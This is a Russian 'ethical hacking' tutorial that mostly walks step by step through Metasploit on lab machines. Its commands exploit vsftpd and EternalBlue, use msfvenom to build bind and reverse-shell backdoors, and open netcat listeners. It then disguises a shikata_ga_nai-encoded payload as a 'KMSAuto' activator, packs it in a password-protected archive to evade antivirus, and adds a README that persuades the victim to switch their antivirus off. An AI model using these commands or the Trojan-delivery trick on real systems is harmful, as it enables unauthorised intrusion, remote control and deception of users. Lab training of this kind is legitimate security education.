Этичный хакинг. Часть 5
В этой статье мы будем изучать фазу получения доступа к системе и разберемся в эксплоитах (exploits), полезной нагрузке (payload), а еще познакомимся с инструментом Metasploit Framework.
Metasploit Framework – это комплексный инструмент автоматизации процесса эксплуатации уязвимостей ПО и операционных систем с различной архитектуры.
Модули, которые входят в состав Metasploit делятся на несколько категорий:
Эксплоиты (Exploits)
Это программа, фрагмент кода или последовательность команд, которые используют уязвимости в ПО и применяются для проведения атаки на вычислительную систему. Целью атаки может быть захват контроля над системой (повышение привилегий), а также нарушение её функционирования (DoS-атака).
По типу исполнения можно выделить два вида эксплоитов:
Удалённый эксплойт
Работает через сеть и использует уязвимость в защите без предварительного доступа к атакуемой системе;
Локальный эксплойт
Работает конкретно в уязвимой системе, а для этого нужен предварительный доступа к ней.
Пэйлоады (Payloads)
Представляет собой код, который выполняется после эксплоита. В основном применяется для настройки связи между жертвой и атакующим.
Вспомогательные модули (auxiliary)
Это вспомогательные инструменты подобно сканеров уязвимостей, которые могут искать в сети уязвимые устройства под конкретный эксплоит.
Поэтому MSF позволяет искать и пользоваться различными способами уязвимости в ОС, используемых в ней сетевых протоколах и отдельных программах, с целью получения контроля над ней либо вывода ее из строя.
Теперь перейдем к практике и рассмотрим несколько примеров
Получение доступа в систему
Вначале запускаем виртуальную машину с Kali Linux, а также уязвимую машину Metasploitable2 — пока все как обычно.
Чтобы зпустить Metasploit используем либо команду в консоли
msfconsole
либо ищем его в разделе Exploitation Tools списка всех программ.
В прошлой части у машины Metasploitable2 мы обнаружили устаревшую версию службы ftp 2.3.4, у которой есть именно такую уязвимость. Более подробно о каждой известной уязвимости можно узнат на ресурсе:
https://www.exploit-db.com/
В поле search можно ввести название сервиса либо номер бюллетени уязвимости.
Как видно на изображении выше, если эксплоит уже есть в базе Metasploit, эта информация будет обозначена рядом с названием в скобках. Чтобы найти необходимый эксплоит в базе metasploit введем команду:
search <название эксплоита>
Для применения эксплоита используем команду:
use <номер эксплоита в списке>
Чтобы посмотреть доступные опции эксплоита введем команду:
show options
Здесь нам доступны несколько параметров настроек:
RHOSTS – удаленный хост для эксплуатации уязвимости (тут указываем IP адрес машины Metasploitable2)
RPORT – тут указываем порт сервиса (только в том случае если он нестандартный)
Для проведения атаки на ресурс нам необходимо ввести всего 2 команды:
set RHOSTS <IP адрес цели>
run
exploit
для того, чтобы запустить эксплоит.
Ждем несколько секунд и получаем открытую сессию в виде удаленного shell-а. Посмотрим под кем мы работаем с помощью команды:
whoami
Видно, что мы сидим под root пользователем. Чтобы убедиться, что это верный и нужный нам хост используем команду:
ip address
Сейчас мы работаем через командную оболочку. Это имеет один минус — оболочка не даст нам авторизоваться в системе под другим пользователем либо повторно перелогиниться.
Посмотрим, какие пользователи кроме root у нас есть в системе. Информация о пользователях созданных в системе хранится в файле passwd каталога /etc:
cat /etc/passwd
Видим, что тут присутствуют еще пользователи, например, пользователь msfadmin и user. Сейчас попробуем переключиться на них через команду:
su <имя пользователя>
Получает вот что. Все попытки залогиниться под другими пользователями или перелогиниться под root выдают нам сообщение о том, что команда su должна выполняться из терминала. Самый простой и эффективный способ переключиться из командной оболочки в режим терминала — использование псевдотерминала pty на python.
Для этого запустим его следующим скриптом:
python -c ‘import pty; pty.spawn(“bin/sh”)’
И выполним те же самые действия в псевдотерминале:
Видно, что переключение между пользователями в терминале происходит без особых проблем. Но обратите внимание, что перелогиниться под root уже нельзя — пароль не известен. Чтобы вернуться к работе под пользователем root необходимо выйти из сессии текущего пользователя командой:
exit
Теперь нам надо узнать, есть ли в сети устройства, к которым применим старый, но актуальный эксплоит с кодовым именем EternalBlue или MS17-010. По типу исполнения — это удаленный эксплоит (как и тот, что мы рассмотрели ранее). Но там мы имели дело с одной машиной, а тут их десятки. Чтобы ускоренить процесс, нам поможет специальный скан-модуль, который будет сканировать все устройства в сети и искать те, которые уязвимы перед EternalBlue. Сейчас разберем на примере.
ВАЖНО! Для данного примера нам понадобится подготовить еще 2 машины, с Windows Server 2008 R2 и Windows 7 с последними обновлениями. Уязвимости EternalBlue подвержены все версии Micorosoft Windows использующие уязвимую версию протокола SMBv1, в которых отсутствует мартовский патч 2017 года исправляющий ее.
Список наиболее уязвимых систем:
- Windows Server 2012 R2 Standard 9600: 352,886
- Windows Server 2008 R2 Enterprise 7601 Service Pack 1: 111,331
- Windows Server 2008 R2 Standard 7601 Service Pack 1: 67,761
- Windows Server 2008 R2 Datacenter 7601 Service Pack 1: 57,295
- Windows Server 2016 Standard 14393: 53,005
- Windows Server 2012 R2 Datacenter 9600: 47,122
- Windows 7 Professional 7601 Service Pack 1: 36,454
- Windows 7 Ultimate 7601 Service Pack 1: 33,886
- Windows 10 Home 17134: 29310: 29.310
- Windows 7 Home Premium 7601 Service Pack 1: 26,781
Теперь запускаем msfconsole и ищем все, что связано со словом eternalblue.
Поиск в базе Metasploit выдает несколько вариантов. Первый вариант — это сам эксплоит, который даст нам удаленный доступ к машине в том случае если в ней есть данная уязвимость, но нас интересует auxiliary/scanner/smb/smb_ms17_010, который может в считанные минуты просканировать всю сеть и дать полный расклад по уязвимым машинам. Проверим работу. Для этого выбираем нужный пункт командой:
use 3
И зададим в RHOSTS всю сеть для сканирования по 24-й маске 192.168.1.0/24 и запустим командой:
run
Узнаем, что сканер обозначил IP адрес уязвимой машины. Это сервер на базе Windows Server 2008.Сейчас посмотрим, сможем ли мы подключиться без логина и пароля к файловому серверу.
К сожалению, сервер требует при подключении аутентификацию.
Сейчас выбираем наш эксплоит командой:
use 0
С ее помощью посмотрим, какие виды полезных нагрузок нам тут доступны. Затем применяем команду:
show payloads
Список весьма внушительный, но нам надо выбрать тот вариант, который сработает наверняка. Не каждый payload может отработать чисто. Многие из них возвращают ошибку вроде этой
Чтобы продолжить нашу практику, давайте разберем немного теории.
Соединение типа bind_tcp — это тип взаимодействия с целью, в котором на машине цели запускается процесс, прослушивающий определённый порт.
Соединение типа reverse_tcp — это тип взаимодействия с атакуемым устройством, в котором на машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие брандмауэры настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти фильтрацию брандмауэра.
Здесь нам нужно выбрать payload/windows/x64/meterpreter/bind_tcp, так как нам нужно выполнить прямое соединение с целевой машиной.
Далее задаем адрес целевой машины командой:
set RHOSTS 192.168.1.11
Указываем тип ОС на атакуемой машине. А чтобы посмотреть доступные цели введем команду:
show targets
А теперь запускаем сам эксплоит.
Эксплоит успешно запустился и мы получили сессию meterpreter.
shell
И получаем привычный command shell. Теперь у нас есть возможность выполнять виндовые команды. Выведем список зарегистрированных пользователей системы командой:
net user
и сетевую статистику подключений:
net stat
Проблема с кириллицей и русской локализацией самой системы Kali Linux решается командой:
sudo dpkg-reconfigure locales
Мы рассмотрели работу удаленного типа эксплоита, который эксплуатирует уязвимость на целевом хосте через сеть.
Сейчас разберем случай, если машина уязвима только перед локальным эксплоитом. И попрактикуемся в более сложном сценарии, где нам необходимо создать некий бэкдор либо троянец и запустить его на целевой машине. Здесь для осуществления взлома необходимо применить методы социальной инженерии и заставить жертву запустить исполняемый файл на своей локальной машине.
На подобные случаи в составе Metasploit имеется отдельный модуль, как msfvenom – мощнейший инструмент для генерации пэйлоадов под разные архитектуры систем.
Но вначале немного теории о вредоносном ПО.
Бэкдор (backdoor)
Это вид вредоносного ПО, его главная задача — предоставление несанкционированного доступа к удаленному устройству.
Троян (trojan)
Это вредоносное ПО, главной задачей которого является маскировка под легитимную программу. Он так же несёт в себе полезную нагрузку, чаще всего которой является бэкдор.
Теперь рассмотрим существующие типы пэйлоадов в Metasploit.
Single – это тип полезной нагрузки, выполняющий простые одиночное команды. Также позволяет создавать нового пользователя в системе или запустить исполняемый файл.
Stager – это тип полезной нагрузки, основная задача — создание сетевого соединения между машиной атакующего и машиной жертвы. Далее последующие компоненты подгружаются при подключении stage.
Stage – это тип нагрузки, который загружается не полностью, а поэтапно и имеет обширный функционал. Применяется в тех случаях, когда нужно получить VNC либо Meterpreter сессию. Недостаток —большой объем занимаемой оперативной памяти (хотя в современных компьютерах совсем не критично).
Поехали дальше и все опыты мы будем проводить на машине под управлением ОС Windows 7. На нее будут установлены все последние доступные обновления безопасности, но выключен брандмауэр и отсутсвует антиврусное ПО.
Запускаем машину с Kali Linux и в консоли вводим команду:
msfvenom -h
и посмотрим на все доступные параметры модуля
Список не длинный и из него для генерации полезной нагрузки обязательными являются два флага:
-p
-f
— формат файла на выходе (например .exe).
Выводим список всех доступных пэйлоадов с помощью команды:
msfvenom -l payloads
В базе Metasploit доступно 867 пэйлоадов для различных платформ. В начале каждого пэйлоада идет название платформы: windows, linux, android, osx и т. д.
Приступим к созданию нашего первого пэйлоада. Это будет windows/meterpreter/bind_tcp
Команда будет выглядеть следующим образом
msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/Desktop/backdoor.exe
После окончания генерации файл backdoor.exe сохранится на рабочем столе. В случае запуска данного файла на компьютере жертвы, откроется доступ к нему по порту 4444 (при желании можно изменить).
Поэтому чтобы получить к машине доступ, нам нужен Listener – программа, которая будет слушать заданный порт и позволит открыть сессию.
Запускам msfconsole и вводим команду:
use exploit/multi/handler
С ее помощью откроется эксплоит, представляющий из себя listener для прослушивания заданного порта и открытия сессии в случае успеха. В нем необходимо задать следующие параметры:
set payload windows/meterpreter/bind_tcp
– выбираем тот же payload, что и в созданном файле.
set rhost 192.168.11.149
– указываем IP адрес целевого устройства (статью писал дома и на работе, так что сеть изменилась, но на суть работы это не влияет, у тебя она в любом случае будет скорее всего другой).
set lport 4444
– указываем порт который будем слушать.
run
– запускаем и ждем действий со стороны жертвы.
Рассмотрим самый простой способ передачи файла жертве — файлообменник на базе веб-сервера Apache. Обычно он предустановлен в Kali Linux, поэтому запускаем его командой:
systemctl start apache2.service
А затем копируем файл в директорию /var/www/html/
Теперь нужно скачать файл с целевой машины, открыв в браузере ссылку с адресом машины атакующего и именем файла http://192.168.1.143/backdoor.exe запустить его.
Заходим в окно c ожидающим соединения handler-ом и смотрим, что произойдет после запуска файла на машине жертвы
На изображении видно, что в момент, когда жертва запустила наш бэкдор, у нас открылась сессия meterpreter. А вот что происходит в диспетчере задач на целевой машине.
Процесс backdoor.exe отображается в списке других процессов. И если процесс завершить, то сессия тут же прервется.
На этот случай в msfvenom предусмотрен специальный тип скрытой полезной нагрузки shell_hidden_bind_tcp. Данный пэйлоад дает доступ именно к командной оболочке Windows. Благодаря этому, процесс скрыт в системе и не прервётся, даже если снять задачу в диспетчере.
Рассмотрим способ подробнее. И вначале перенастроим handler на использование другого эксплоита
set payload windows/shell_hidden_bind_tcp set rhost 192.168.11.149 set ahost 192.168.11.143
Тут мы указываем разрешенный IP адрес атакующего.
set lport 4444 run
В работе с командой оболочкой альтернативный инструмент, входящий в состав Kali, — утилита Netсat. В ней нам будет достаточно прописать короткую команду:
nc 192.168.11.149 4444
И дожидаемся выполнения пэйлоада на стороне жертвы.
Остановимся на варианте с handler-ом и сгенерируем новый эксплоит:
msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.11.143 lport=4444 -f exe > /home/kali/Desktop/hidden-backdoor.exe
После чего копируем файл на наш сервер и скачиваем его из браузера на целевой машине.
А вот что изменится, когда мы завершим процесс hidden-backdoor.exe в диспетчере задач.
Получается две активные сессии с одного и того же устройства (одна работает через handler, вторая через Netcat).
С прямыми подключениями все ясно, поэтому немного усложним задачу. Для этого включим наш брандмауэр Windows, а значит, что вариант bind_tcp не будет работать, если не добавить файл в исключения брандмауэра. В этой ситуации нам поможет reverse_tcp, с которым у гас получится обойти блокировку входящих соединений.
Чтобы ускорить процесс, используем вместо handler утилиту Netcat:
nc -lvp 4444
Генерируем файл для удобства выгружаем сразу в директорию/var/www/html
msfvenom -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -f exe > /var/www/html/reverse-shell.exe
Скачиваем файл на машину жертвы и запускаем:
Теперь запускаем с включенным брандмауэром один из прошлых файлов с подключением типа bind_tcp
Теперь брандмауэр уведомляет нас о том, что есть приложение, которое хочет инициировать сетевое соединение.
Наш эксплоит запустится, но мы получаем вот этот результат:
Удаленного шелла мы не получим в этом случае. Отсюда следует, что во всех случаях когда мы не уверены, работает на удаленном хосте брандмауэр или нет, стоит использовать reverse_tcp.
Сейчас разберем случай, если на целевой машине установлен антивирус.
Для этого устанавливаем антивирус на машину и посмотрим, что произойдет с файлом hidden-backdoor.exe. Для этого выбираем самый популярный бесплатный антивирус.
Берем этот — 360 Total Security за 5 звезд. Скачиваем и после установки просканируем папку «Загрузки» и посмотрим на результат.
Тут мы видим, что антивирус обнаружил угрозу в загруженном файле.
А теперь давайте разьеремся, получится ли скрыть от антивирусного ПО полезную нагрузку?
Самым эффективным способом обхода антивирусного ПО в Metasploit была схема создания скрытой полезной нагрузки с использованием кодировщика shikata ga nai. Метод работает за счет полиморфного аддитивного кодировщика XOR, и при каждой итерации процесса кодирования шелл-кода, он будет происходить по-разному — нагрузка становится для антивируса безопасной на вид.
Есть и другие кодировщики, чтобы проверить весь список доступных кодировщиков можно с помощью команды:
msfvenom --list encoders
Сейчас проверим, возможен ли такой сценарий до сих пор.
Для этого мы подготовим шаблон (это будет импровизированный файл активатора Windows, внедрим в него полезную нагрузку, кодируя ее при помощи shikata_ga_nai, затем проверим результат надежности маскировки на ресурсе virustotal.com.
К этому добавим социальную инженерию: упакуем наш файл в защищенный паролем архив и приложим к нему файл README.txt. В заключении мы скопируем архив с паролем на файлообменник и будем ждать, когда его скачает жертва.
Для лучшего понимания следующей команды ознакомимся с параметрами:
-a
<arch> архитектура набора команд (x86/x64);
--platform
<platform> выбор целевой платформы (в нашем случае windows);
-p
<payload> - сама полезная нагрузка (в нашем случае windows/meterpreter/reverse_tcp);
-e
<encoder> - выбор кодировщика;
-i
<count> - количество итераций кодирования;
-k
<keep> - параметр позволяющий сохранить исходному шаблону все его первоначальные свойства;
-x
<path> - путь к шаблону (исполняемому файлу легитимного ПО);
-f
<format> - формат генерации, который может быть raw, exe, elf, jar, py и т.д. (для просмотра всех доступных форматов можно использовать команду --help-formats).
И так, приступим к генерации полезной нагрузки:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -e x86/shikata_ga_nai -i 20 -f exe -k -x /home/kali/Downloads/putty.exe > KMSAuto.exe
Загрузим файл на virustotal.com и проверим:
Как мы видим, результат плохой. Большая часть внтивирусов обнаружила угрозу. Поэтому без приемов социальной инженерии данный файл не получится подсунуть жертве и убедить отключить антивирус.
Теперь создадим в директории файлообменника текстовый файл README.txt и добавим директорию KMSAuto, куда скопируем файл с пэйлоадом и README.txt. Для этого выполним команды:
Потом применяем утилиту zip и добавляем директорию KMSAuto со всеми файлами в защищенный паролем 11111 архив.
Проверим архив на virustotal и сравним результаты:
Тут ситуация уже другая — у данного метода есть преимущество, антивирус не сможет начать сканировать файл до тех пор, пока он в архиве. Проверяем антивирус:
Все получилось — антивирус просканировал файл и не нашел угроз. После этого, даже если пользователь увидит уведомление от антивируса, он прочтет содержимое файла README.txt и выключит на время активации свой антивирус.
Видим, что после запуска файла Netcat получил удаленный шелл.
В этой части рассмотрели очень простой пример, как можно захватить систему с помощью базовых возможностей, инструментов и социальной инженерии.
🔥 Ставь реакцию, если понравилась статья ⚡️Остались вопросы? Пиши - @golden_hpa